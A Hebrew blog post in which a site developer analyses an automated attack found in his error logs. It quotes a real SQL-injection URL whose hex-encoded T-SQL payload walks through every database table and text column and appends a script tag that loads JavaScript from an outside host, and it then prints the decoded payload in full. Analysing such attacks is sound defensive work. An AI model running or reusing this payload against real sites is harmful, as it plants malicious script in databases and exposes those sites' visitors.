נסיון מעניין ל-SQL Injection משולב ב-XSS
בהרבה מדי דפים שלי אין שימוש בפונקציה TryParse לגבי חלק מהפרמטרים (אלא ב-Cast בסיסי), וכך אני מקבל מדי פעם הודעות שגיאה על נסיונות פריצה אוטומאטיים מעניינים יותר או פחות.
הנה הכתובת:
http://www.israelnationalnews.com/Subscribe/Preview.aspx?type=1';DeCLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));ExEC(@S);
זה כבר מאוד סיקרן אותי. פתחתי את ה-Query Browser וכתבתי כך:
select 0x4445434C41....
ובכן, זה מה שמצאתי. לא צריך לדעת לכתוב פרוצדורות שמורות ל-MySQL כדי להבין מה יש כאן:
DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://www3.800mg.cn/csrss/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://www3.800mg.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
בעצם מדובר בנסיון לעבור על כל הטבלאות ולהכניס לתוכם סקריפט זדוני, מה שלא צלח אצלי בשרת, אבל עלול לצלוח אצל אחרים. מעניין מאוד שהם מנסים את התקיפה הזו עבור אתרים שרצים על ASP.net, בה-בעת שמספר האתרים שמריצים ASP.net עם MySQL אינו כ"כ גבוה.